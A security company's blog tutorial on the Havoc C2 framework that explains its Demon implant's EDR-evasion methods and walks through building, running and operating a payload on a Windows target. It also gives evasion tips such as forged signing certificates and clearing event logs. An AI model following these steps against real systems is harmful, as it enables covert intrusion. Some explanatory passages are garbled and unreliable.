Tools

Havoc C2: Sleep Obfuscation & Return Address Spoofing Guide

Published  ·  11 min read
Updated on May 11, 2026

You have run Cobalt Strike for years, it works, but it is also the most signatured tool on the market, every defender knows how to spot it

Havoc is different, it is a modern, open-source command and control framework built from the ground up for evasion, with features that rival commercial alternatives

Let me show you how Havoc works, what makes its Demon agent so stealthy, and how to use it in your next red team engagement

What Is Havoc

Havoc is a post-exploitation C2 framework created by @C5pider, written in Golang for the teamserver and C++/Qt for the cross-platform UI

Unlike older frameworks that bolt on evasion as an afterthought, Havoc was designed with operational security as a core requirement

Key components:

Component

Tech Stack

Purpose

Teamserver

Golang

Handles listener, agent comms, multi-operator

Client UI

C++ / Qt

Cross-platform GUI with dark theme

Demon agent

C / ASM

Lightweight implant with evasion built in


The framework supports multiplayer, meaning multiple operators can collaborate on the same engagement, each with their own view of compromised hosts

Installation on Kali Linux:
sudo apt update
sudo apt install havoc

# Or build from source
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
make

The Demon Agent: Built for Evasion

Havoc's flagship agent is called Demon, written in C and assembly, it is designed to be small, fast, and extremely hard to detect

Demon capabilities at a glance:
1. Sleep obfuscation via Ekko, Ziliean, or FOLIAGE
2. x64 return address spoofing
3. Indirect syscalls for Nt* APIs
4. AMSI/ETW patching using hardware breakpoints
5. Loading of proxy libraries
6. Credential management token vault
7. SMB peer-to-peer communication

Let's take a closer look at some of the most relevant techniques:

Sleep obfuscation: Hiding during inactivity

Conventional agents remain resident in memory when they sleep and as such, all of their allocated and accessible memory pages are still available for examination.
To find dormant agents, the defender will scan for any executable memory pages that are not part of the operating system.
Sleep obfuscation resolves this issue.

This is generally how it works:
1. An agent encrypts their memories before sleeping
2. The agent requests an APC in order to wake up. 
3. When the agent is in deep sleep, there is no way to read any body part by reading their memory which has been encrypted into random letters.
4. When the agent's timer expires, the APC will cause the agent to wake and decrypt their own memory.
5. The agent will continue to perform their normal operations.

Here's what a defender will see:
1. They can see that while the agent is sleeping, no executable memory exists.
2. They will not see any type of periodic beacons (the agent is completely dormant).
3. When doing memory forensics, the only data they will discover is that it is hashed and cannot be decrypted.

Demon implements three different techniques for sleep obfuscation

Technique

Description

Complexity

Ekko

Original implementation using thread pool timers and indirect syscalls

Moderate

Ziliean

Variant with different APC queueing mechanism

Moderate

FOLIAGE

Newer implementation with improved stability

High


Reason for concern with evading EDR:
Many EDR products see beaconing traffic patterns, the configuration of an agent that checks in every 60 seconds creates a predictable traffic pattern.

Jitter and sleep obfuscation will mask the agents' communication as nothing exists, agents would be absent when beacons are sent.


x64 Return Address Spoofing: Breaking Call Stacks

This evasion method is one of the advanced techniques available in Havoc.
The primary issue with direct syscalls is they can bypass user mode hooks; this creates a situation where the return address on the stack points back to your own module, allowing a detection device to follow the call stack and record where execution originated from (an untrusted location).

Return address spoofing replaces the return address with an address pointing to a legitimate Windows module (ntdll.dll), creating the call chain that is visible to a detection device as being completely benign.

Visual example:
Normal call stack (suspicious):
   0x00007FFE1234ABCD (your shellcode)

Call stack with return address spoofing (clean):
   0x00007FFE5678EFGH (ntdll.dll)
   0x00007FFE5678IJKL (ntdll.dll)
   0x00007FFE1234ABCD (your shellcode - hidden)

Only the ntdll.dll addresses can be recognized by the detector; it will never identify that your code was present.

Technical implementation:
Demon creates inline assembly that modifies return addresses prior to executing the syscall instruction. The spoofed return address will point to an area in a Windows DLL that contains a simple "ret" instruction.

After injecting these instructions, there will be no indication of your call stack being modified even under the closest examination by EDR.

Indirect Syscalls: Bypassing User-Mode Hooks

To use User-Mode hooks EDR application will place a hook onto the Windows API Functions. When your code calls the CreateFile function the EDR application will first look at the parameters and determine what to do prior to executing CreateFile.

Direct syscalls circumvent the Hook by calling directly into the kernel and not using the User-Mode API at all.

Example of a regular API call (with Hook):
Your code → kernel32.CreateFile → EDR HOOK → ntdll.NtCreateFile → kernel

Direct syscall (unhooked):
Your code → assembly syscall → kernel

Demon uses indirect syscalls; however, it does so in a unique way. Instead of directly calling the syscall, Demon first creates a clean blank copy of ntdll and has it execute the syscall instruction from inside of a legitimate program.

Why this is important:
1. No hooks to circumvent; therefore, the EDR does not see the syscall call.
2. No anomalous call stack artifacts.
3. Maximum compatibility with all current versions of Windows.

AMSI and ETW Patching

Microsoft Windows has 2 built-in systems for monitoring security; AMSI and ETW.
AMSI scans contents of scripts prior to executing them (PowerShell, VBA, .NET assemblies, etc); all are scanned using AMSI.

ETW records and logs activities throughout the entire system, including process creation, file access, network connections, etc.

Bypassing of AMSI and ETW by Demon: 
Demon makes use of memory patch operations in the form of hardware-based breakpoints in order to bypass both AMSI and ETW (Event Tracing for Windows) instead of using traditional methods of byte-patching; this is much less likely to be detected as the actual code is not modified.

Technique Used:
1. A hardware-based breakpoint is set to the AMSI scan API. 
2. If the breakpoint is hit, it will return a "clean" result and no actual scanning will occur. 
3. The original caller will now believe that the data has been scanned by AMSI and found safe.
4. There are no changes made to memory, therefore there is no signature for EDRs to use for detection purposes.

Practical Exercise: Setting Up Havoc

If you want to set up Havoc and deploy your first agent, follow these steps:
Step 1: Installing Havoc on Kali Linux
Run the following commands:
# Install all of the dependencies
sudo apt install -y git build-essential qt5-qmake qtbase5-dev libqt5websockets5-dev golang

# Clone the Havoc repo so you have a local copy
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

# Build the teamserver
cd teamserver
go build

# Build the client
cd ../client
make

Step 2: Start the Teamserver
Run the teamserver terminal window to start the teamserver instance.
cd Havoc/teamserver
./teamserver --server 0.0.0.0 --port 40056 --profile profiles/havoc.yaotl

Step 3: Create a Client
After connecting at localhost:40056 you’ll have your first client!
cd Havoc/client
./havoc-client
Connect to your teamserver at localhost:40056

Step 4: Create a Listener
Using the interface of Havoc follow these steps: 
1. Visit the Listeners Tab.
2. Click Add Button.
3. Select Protocol.
4. Enter Callback Address and Port
5. Create Your Listener

Step 5: Create A Payload
# From Within The Havoc Interface.
1. Click 'Attack' in UI and then select Payload
2. Select Agent type as Demon
3. Select Listener (select prior one as created)
4. Select Output Type as exe, dll, raw shell code or raw data
5. Click on Generate

Step 6: Execute the Payload
Take the created payload and then run it on the Windows target machine you have transferred it to.
# On Windows target
Z:\payload.exe

Step 7: Communication with the Agent
Once you have executed the Demon payload, you will see a new session created in the "Demons" section of Havoc, from which you can double-click on to bring up an interactive console for that agent in Havoc.

# Basic commands in Demon console
help                        # Show available commands
getuid                      # Show current user context
whoami                      # Show domain and username
ls C:\Users                 # List directory
download C:\file.txt        # Download file
shell whoami                # Execute cmd command

Practical Exercise: Configuring Sleep Obfuscation

Sleep obfuscation is configured per listener in the profile
Step 1: Edit the Havoc profile
nano Havoc/profiles/havoc.yaotl

Look for the Demon configuration section
Demon:
  Sleep:
    Interval: 60           # Sleep time in seconds
    Jitter: 15             # Jitter percentage (15%)
    Obfuscation: Ekko      # Options: Ekko, Ziliean, FOLIAGE

Step 2: Save and restart the teamserver
./teamserver --server 0.0.0.0 --port 40056 --profile profiles/havoc.yaotl

Step 3: Generate a new payload
The new payload will use Ekko sleep obfuscation

Step 4: Verify the agent disappears between beacons
On the target system, use Process Hacker or a memory scanner, during the agent's sleep interval, you should not find any executable memory regions belonging to the Demon process

Practical Exercise: Return Address Spoofing in Action

Return address spoofing is built into Demon's indirect syscall implementation, no configuration required
Step 1: Generate a debug payload
# In Havoc UI, generate a Demon payload with debug output enabled
# (Check "Verbose Output" if available)

Step 2: Execute and monitor in WinDbg
Attach WinDbg to the Demon process, set a breakpoint on a syscall
bp ntdll!NtQueryInformationProcess

Step 3: Examine the call stack
!stack
With return address spoofing enabled, the return address should point to ntdll.dll, not to Demon's own module

Operational Security Tips for Havoc

To maximize evasion, follow these guidelines
Listener configuration:
1. Establish/Update proper SSL certificates for secure HTTPS listening on your equipment.
2. Randomize Sleep Times Between 10-20% for Overall Duration of Project
3. Limit Number of Beacons to Only 1 per Minute Sent
4. Using Redirection Methods (VPS or Cloud) to Directly Change Your Command Server Location Will Hide the IP Address

Creating the Payload:
1. Use uniquely constructed loaders and shellcode as means of evading detection most effectively.
2. Sneak your executable's through the use of forged certificates.
3. Use different payloads for each of your different targets.

Agent activity:
1. Use sleep obfuscation on all long-term agents
2. Staged access over post-ex tools (Mimikatz, Rubeus) when possible
3. Clean event logs before and after operations

Havoc vs Cobalt Strike: Feature Comparison

Feature

Havoc

Cobalt Strike

Price

Free, open source

$3,500+ per user

Sleep obfuscation

Built-in (Ekko, Ziliean, FOLIAGE)

Via external kits

Return address spoofing

Built-in

Not available

Indirect syscalls

Built-in

Via external kits

Multiplayer

Yes (native)

Yes

Community support

Growing

Extensive

Signature detection

Low

Very high

Malleable C2 profiles

Yes (YAOTL)

Yes (Malleable)

 

Conclusion: Havoc Is Ready for Prime Time

Havoc has matured significantly, it offers features that were previously only available in commercial frameworks, and it does so for free

The Demon agent is genuinely stealthy, sleep obfuscation hides the agent between beacons, return address spoofing defeats call stack analysis, and indirect syscalls bypass user-mode hooks

For red teams, this means fewer detections, longer operations, and more successful engagements

For defenders, it means you need to look beyond traditional EDR alerts, memory analysis, call stack inspection, and behavior monitoring become even more critical
Havoc is here to stay

FAQ Section

Is Havoc as powerful as Cobalt Strike

For most post-exploitation tasks, yes, Havoc includes sleep obfuscation, indirect syscalls, and return address spoofing out of the box, features that Cobalt Strike requires external kits for, however, Cobalt Strike has a larger community and more extensive documentation

What is sleep obfuscation in Havoc Demon

Sleep obfuscation encrypts the Demon agent's memory while it is idle, the agent decrypts itself only when it needs to check in, this makes the agent invisible to memory scanners between beacons, Havoc supports Ekko, Ziliean, and FOLIAGE techniques

How does x64 return address spoofing work

When Demon makes an indirect syscall, it replaces the return address on the stack with an address that points to legitimate Windows code (ntdll.dll), when EDR walks the call stack, it sees a clean chain of Windows modules and never knows the call originated from the implant

Are Modern EDRs Vulnerable To Havoc?

While it is possible for Havoc to bypass many EDR products with the use of sleep obfuscation, return address spoofing and indirect syscalls, there is no tool that is completely undetectable. Therefore you must still practice operational security as well as careful customization when using this tool.

Is Havoc A Safe Tool For Legitimate Red Teams?

Havoc is an open-source tool created for authorized security testing purposes; be sure to obtain written consent from any user prior to deploying any C2 frameworks such as Havoc.

Professional Services

Explore Our Cybersecurity Services

Our insights are backed by hands-on service delivery. If your business needs professional cybersecurity support, our UK-based specialists are ready to help.

© 2016 – 2026 Red Secure Tech Ltd. Registered in England and Wales — Company No: 15581067